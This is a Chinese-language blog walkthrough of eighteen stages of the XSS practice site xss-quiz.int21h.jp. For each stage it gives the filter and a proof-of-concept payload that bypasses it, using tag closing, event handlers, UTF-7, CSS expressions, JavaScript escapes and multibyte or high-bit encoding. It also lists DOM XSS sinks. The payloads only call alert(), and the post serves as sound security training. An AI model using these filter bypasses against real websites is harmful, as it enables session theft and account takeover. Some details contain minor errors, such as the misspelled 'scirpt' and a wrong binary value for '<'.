1. 程式人生 > >做了一個XSS的闖關遊戲,攻略貼上來

做了一個XSS的闖關遊戲,攻略貼上來

遊戲地址:
http://xss-quiz.int21h.jp
第一關:比較簡單,直接輸入
http://xss-quiz.int21h.jp/?sid=2a75ff06e0147586b7ceb0fe68ee443b86a6e7b9

第二關:也相對簡單,閉合標籤
http://xss-quiz.int21h.jp/stage2.php?sid=f2d7d60125bdddb208fa757ee5cdae22f6818cd1
"><script>alert(document.domain);</script>
 
第三關:http://xss-quiz.int21h.jp/stage-3.php?sid=9b217ccdc6e28f1a018d6df366553a6152bc65f5
客戶端會把輸入點的特殊符號給過濾掉,這個地方開始的時候難住了,沒想到怎麼繞過去
後來查了下,說有用tamper data工具,攔截提交請求,所以也嘗試一下
(思考點,原輸入點被過濾,看附近是否還有其他注入點科繞過,比如這題,可以對select部分進行繞過
因為這個地方客戶端應該不會過濾)
用tamper data 攔截search請求,然後修改p2值為
Japan</option><script>alert(document.domain)</script>
成功。這個地方也不確定,有人這麼做,

第四關:
http://xss-quiz.int21h.jp/stage_4.php?sid=293c09bc53b81045a43ac5a79ac535daacbeae87
直接輸入,肯定是不對的,這個輸入點也是被過濾的,要繞過客戶端的這種符號的過濾,跟第三個類似
點選輸入框,檢視元素,發現還有一個隱藏的框,直接在檢視元素的修改invisible:hideen為text
這樣在這個框內輸入注入串:text,
然後輸入:hackme"></input><script>alert(document.domain)</script>

第五關:
http://xss-quiz.int21h.jp/stage--5.php?sid=40b33710efa4a848d21b5a6dd47671e82c31d853
字串截斷+標籤閉合
這種形式的是客戶端限制的,我們還是通過抓請求包,修改請求包的方式進行繞過
用tamper data攔截請求,並且注意input標籤屬性的閉合
”><script>alert(document.domain)</script>;

第六關:
http://xss-quiz.int21h.jp/stage-no6.php?sid=236f8f125f43d1efffd8f96d6f8f5b590d880847
input標籤對<>進行了過濾,給的提示也是event handle attributes
這裡我們就在input標籤裡進行新增事件
" onmouseover="alert(document.domain);

第七關:
http://xss-quiz.int21h.jp/stage07.php?sid=6fbeba7fd57ce51cf3bb463c8cae1da350722b2e
這個也是input標籤,類似上一個,但是你會發現,同時還過濾掉了“,也就是帶著引號是不好使得
如果這個1
如果直接這麼用是可以繞過的,
onmousemove=alert(document.domain)
伺服器端可能會對這種=兩邊的引號自己會新增

第八關:
http://xss-quiz.int21h.jp/stage008.php?sid=b3d0fe99bca156329272fa022f49c556e0a30d80
這個地方是填入,偽協議
javascript:alert(document.domain)

第九關:
http://xss-quiz.int21h.jp/stage_09.php?sid=aac40201929779e17453875d9d1ebf4ce706f56f
Hint: UTF-7 XSS

搜尋下:utf7 xss ,這裡有個文章http://lcx.cc/?i=2862
這篇文章有(UTF-7編碼解碼工具)
這種形式已經出現好幾年前了
可以通過
<1> 可以通過設定 @charset=utf-7 設定為 utf-7編碼
<2> 可以通過在正文開頭設定 utf-7 bom 設定為 utf-7編碼
然後瀏覽器在解析時候,會按照utf-7的格式進行解析
p1=1%2bACI- onmouseover=%2bACI-alert(document.domain)%2bADsAIg- x=%2bACI-&charset=utf-7   //現在只有IE支援utf-7所以IE下通過
別人是這麼說的,可是沒有實驗成功

第十關
http://xss-quiz.int21h.jp/stage00010.php?sid=ebbdd5208bce92c3c26c5da4e79c3a0086f16d5e
這個地方會過濾掉domain
因此採用
"><script>alert(document.domdomainain)</script>
因為客戶端會自動過濾掉domain,這樣dom(domain)ain變為domain

第十一關
http://xss-quiz.int21h.jp/stage11th.php?sid=2ea843cedd78f5b9dfd684cc00be42481f72449c
這一關,s/script/xscript/ig;" and "s/on[a-z]+=/onxxx=/ig;" and "s/style=/stxxx=/ig;
對關鍵字串進行了過濾,所以只能想辦法不利用這些串繞過
"><a href="javas&#13;cript:alert(document.domain);" >xss </a><"
這個在IE8下可以用,在IE6,firefox下都沒有實驗成功
別人寫的"><iframe src="javascr&#09;ipt:alert(document.domain);"></iframe>
確實可以彈,但是沒有給下一關的提示


第十二關
http://xss-quiz.int21h.jp/stage_no012.php?sid=b6b9666eca49506330251b9c3e9b0603081e7cae
過濾掉 "s/[\x00-\x20\<\>\"\']//g;"
可以用下面方式閉合,在IE8下有效,(``只有IE能解析)
`` onmousemove=alert(document.domain)


第十三關
http://xss-quiz.int21h.jp/stage13_0.php?sid=9eb9941d92e5506584eb05f5f9ce3d39dfec842f
樣式表繞過
xss:expression(onmousemove=function(){alert(document.domain)})
(為什麼這麼寫,http://vod.sjtu.edu.cn/help/Article_Show.asp?ArticleID=2224,說CSS樣式的定義應該寫進函式裡,不然會報錯)
background-color:#f00;background:url("javascript:alert(document.domain);"); 這種方式沒有成功

第十四關
http://xss-quiz.int21h.jp/stage-_-14.php?sid=465715a8505be6ba6ddc5d51ef81345c22c97aa0
關鍵串的替換: s/(url|script|eval|expression)/xxx/ig;
xss:expre/*hgh*/ssion(onmousemove=function(){alert(document.domain)})
下面這個比較好
cos:expres/**/sion(if(!window.x){alert(document.domain);window.x=1;})

第十五關
http://xss-quiz.int21h.jp/stage__15.php?sid=f530a129f54ea7c80420c9c8cd5ea68f3ea139c6

這個是document.write()
實驗可知道這個會過濾掉<>
由於ducumen.write寫的時候,
script自解碼機制,參考 HTML與JavaScript自解碼機制 http://book.51cto.com/art/201301/378154.htm

HTML:進位制編碼:&#xH;(十六進位制格式)、&#D;(十進位制格式),最後的分號(;)可以不要。
HTML實體編碼:即上面的那個HtmlEncode。<> &lt,&gt
onclick裡的這段JavaScript出現在HTML標籤內,意味著這裡的JavaScript可以進行HTML形式的編碼

如果使用者輸入出現在<script>裡的JavaScript中使用者輸入的這段內容上下文環境是JavaScript,不是HTML(可以認為<script>標籤裡的內容和HTML環境毫無關係),此時使用者輸入的這段內容要遵守的是JavaScript法則,即JavaScript編碼,具體有如下幾種形式。
Unicode形式:\uH(十六進位制)。
普通十六進位制:\xH。
純轉義:\'、\"、\<、\>這樣在特殊字元之前加\進行轉義。
在JavaScript執行之前,這樣的編碼會自動解碼

既然這個地方會過濾掉<>,就可以先按照JS編碼

\\x3cscript\\x3ealert(document.domain)\\x3c/script\\x3e

第十六關
http://xss-quiz.int21h.jp/stage00000016.php?sid=91ab1f033bb9dbd048f22e230f591716b88585fe

這題跟上一題類似,但是增加了一個過濾,就是過濾掉了\x
上面我們也說了js指令碼的自解碼功能,這裡我們可以把其換成unicode的形式
切結加\\u

\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e

這是別人總結的能引起Dom XSS的入口函式:
document.write()  
document.writeln()  
document.body.innerHtml  
eval()  
window.execScript()  
window.setInterval()  
window.setTimeout()

第十七關(這一關原理明白,就是要吃掉引號,但是關於多位元組不很瞭解,把別人的解答放了上來)

http://xss-quiz.int21h.jp/stage-No17.php?sid=463e60e61219d8df193508ef13f2c6626ee40ff6
半形片假名使用兩個位元組來表示。

“第一位位元組”使用0x8E
“第二位位元組”使用0xA1-0xDF


JIS X 0208字元使用兩個位元組來表示。

“第一位位元組”使用0xA1-0xFE
“第二位位元組”使用0xA1-0xFE


JIS X 0212字元使用三個位元組來表示。

“第一位位元組”使用0x8F
“第二位位元組”使用0xA1-0xFE
“第三位位元組”使用0xA1-0xFE


雙引號是0x22,這道題應該在Name框中使用某個東東吃掉Name框第二個“
然後和Mail框的第一個“閉合
看了下別人的答案,思路都差不多:
最終效果:

1%A7&p2=+onmouseover%3Dalert%28document.domain%29%3B+%A7

但是版本問題,沒法顯示。。


Ps:樓上的%A7,是要抓包,修改的,而不是在請求的時候修改,記得把length修改對。

Ps:樓上的%A7,是隨意的,只要是符合上面說的第一個位元組範圍即可。。

第十八關
http://xss-quiz.int21h.jp/stage__No18.php?sid=77d927a0cccb3403cdd3a6b9fb910418d8682d1a
Hint: us-ascii high bit issue

這個可以看看這個網站的一些說明,
http://ha.ckers.org/blog/20060829/us-ascii-issues-redux/
這裡要注意的是在這一關的charset裡寫的是us-ascii,IE瀏覽器的問題,IE可以跑
奇怪的是這個網路的用例,http://ha.ckers.org/blog/20060621/us-ascii-xss-part-2/
在IE6環境下可以跑,但是這一關卻執行不成功

就是把最高位置為1即可

比如說:

< 的16進位制是3C,2進位制是0011 1011,最高位置為1之後,變成1011 1011 ,也就是BC

> 同理變成BE

“ 同理變成A2

所以:

"><script>alert(document.domain)</scirpt>

就變成:

%A2%BE%BCscript%BEalert(document.domain);%BC/script%BE